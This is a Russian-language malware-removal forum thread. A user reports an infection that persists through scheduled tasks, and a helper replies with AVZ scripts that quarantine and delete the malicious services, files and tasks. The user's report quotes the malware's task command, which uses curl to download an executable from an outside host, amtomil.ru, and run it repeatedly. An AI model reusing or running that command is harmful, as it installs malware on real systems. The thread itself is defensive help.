Вирус kurl

[COLOR=#333333]Добрый день![/COLOR]
[COLOR=#333333]Изначально было скачано немалое количество вирусов, однако впоследствии все, кроме curl.exe, были удалены. Удаленные вирусы открывали рекламу в браузере, а действие этого вируса - непонятно. Предположительно, процесс слушает или шлет данные на открытые порты в сети или по интернету. Сам вирус не обнаруживается проверкой антвирусами системы([/COLOR][I]защитник Windows, Avast, Zemana AntiMalware, Security Task Manager), его видно лишь в библиотеке планировщика заданий. В ней видно две задачи curl(действие [B][I]C:\Users\User\AppData\Roaming\curl\curl_7_54.exe -f -L "http://amtomil.ru/f.exe" -o "C:\Users\User\AppData\Roaming\curl\curl.exe"[/I]) и curls(действие [I][B]C:\Users\User\AppData\Roaming\curl\curl.exe[/B]). Частота повтора каждые 5 часов после запуска. При попытке удалить задания всплывает ошибка "у пользовательской учетной записи нет прав на удаление этого задания", даже в учетной записи администратора.
Также папку curl нельзя найти по пути [I]C:\Users\User\AppData\Roaming\curl (выдается ошибка Windows не удается найти "[I]C:\Users\User\AppData\Roaming\curl") и в папке [I]C:\Windows\System32\Tasks.
Заранее благодарю.[/I][/I][/I][/I][/B][/I]

Уважаемый(ая) [B]paliakoff[/B], спасибо за обращение на наш форум!

Помощь в лечении комьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы в самое ближайшее время ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в [URL="https://virusinfo.info/pravila.html"]правилах оформления запроса о помощи[/URL].

[INFORMATION]Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом [URL="https://virusinfo.info/content.php?r=613-sub_pomogite"]Помогите+[/URL].[/INFORMATION]

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста [URL="https://virusinfo.info/content.php?r=113-virusinfo.info-donate"]поддержите проект[/URL].

Выполните скрипт в AVZ
[code]begin
ShowMessage('Внимание! Перед выполнением скрипта AVZ автоматически закроет все сетевые подключения.' + #13#10 + 'После перезагрузки компьютера подключения к сети будут восстановлены в автоматическом режиме.');
ExecuteFile('net.exe', 'stop tcpip /y', 0, 15000, true);
if not IsWOW64
then
begin
SearchRootkit(true, true);
SetAVZGuardStatus(True);
end;
QuarantineFile('3778dcc6d13b60b54363732c7392c8cf.sys','');
SetServiceStart('3778dcc6d13b60b54363732c7392c8cf', 4);
DeleteService('3778dcc6d13b60b54363732c7392c8cf');
DeleteService('d2b626c1fe3f40d02e3733dba9a54447');
QuarantineFile('C:\Program Files\d2b626c1fe3f40d02e3733dba9a54447\8600f7f02ddfc06a3e6a8e72dadc65dc.exe','');
TerminateProcessByName('C:\Program Files\UBar\ubar.exe');
TerminateProcessByName('C:\Program Files\UBar\UbarService.exe');
QuarantineFile('C:\Program Files\UBar\UbarService.exe','');
QuarantineFile('C:\Program Files\UBar\ubar.exe','');
DeleteFile('C:\Program Files\UBar\ubar.exe','32');
DeleteFile('C:\Program Files\UBar\UbarService.exe','32');
DeleteFile('C:\Program Files\d2b626c1fe3f40d02e3733dba9a54447\8600f7f02ddfc06a3e6a8e72dadc65dc.exe','32');
DeleteFile('3778dcc6d13b60b54363732c7392c8cf.sys','32');
DeleteFile('C:\WINDOWS\system32\Tasks\curls','64');
DeleteFile('C:\WINDOWS\system32\Tasks\curl','64');
BC_ImportAll;
ExecuteSysClean;
BC_Activate;
RebootWindows(false);
end.[/code]Будет выполнена перезагрузка компьютера.

Выполните скрипт в AVZ
[code]begin
CreateQurantineArchive('c:\quarantine.zip');
end.[/code][b]c:\quarantine.zip[/b] пришлите по красной ссылке [color="Red"][u][b]Прислать запрошенный карантин[/b][/u][/color] [b]над первым сообщением[/b] темы.

[B][COLOR="Red"]Пожалуйста, выполните ЕЩЕ РАЗ правила, прикрепите к сообщению НОВЫЕ логи Autologger[/COLOR][/B]